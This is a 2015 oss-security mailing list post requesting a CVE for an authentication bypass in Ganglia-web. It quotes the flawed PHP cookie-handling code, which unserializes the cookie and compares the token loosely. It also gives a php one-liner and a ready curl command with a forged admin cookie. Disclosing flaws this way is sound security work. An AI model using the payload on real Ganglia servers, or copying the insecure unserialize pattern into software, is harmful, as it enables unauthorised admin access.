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Date: Fri, 04 Sep 2015 20:34:39 +0300
From: Ivan Novikov <in@...larm.com>
To: oss-security@...ts.openwall.com
Subject: CVE request: Ganglia-web auth bypass
Reported by GitHub:
https://github.com/ganglia/ganglia-web/issues/267
It's easy to bypass auth by using boolean serialization like this:
$ php -r "echo urlencode(serialize(array('user'=>'admin',
'group'=>'admin', 'token'=>true)));"
Vulnerable code listed below:
https://github.com/ganglia/ganglia-web/blob/4e98ea69e0e18b388cdc73809ce54843a16ff87b/lib/GangliaAuth.php#L34-L46
if(isSet($_COOKIE['ganglia_auth'])) {
$cookie = $_COOKIE['ganglia_auth'];
// magic quotes will break unserialization
if($this->getMagicQuotesGpc()) {
$cookie = stripslashes($cookie);
}
$data = unserialize($cookie);
if(array_keys($data) != array('user','group','token')) {
return false;
}
if($this->getAuthToken($data['user']) == $data['token']) {
// Found by d90.andrew
// Exploit: curl -H 'Cookie:
a%3A3%3A%7Bs%3A4%3A%22user%22%3Bs%3A5%3A%22admin%22%3Bs%3A5%3A%22group%22%3Bs%3A5%3A%22admin%22%3Bs%3A5%3A%22token%22%3Bb%3A1%3B%7D'
http://ganglia.local/ganglia/
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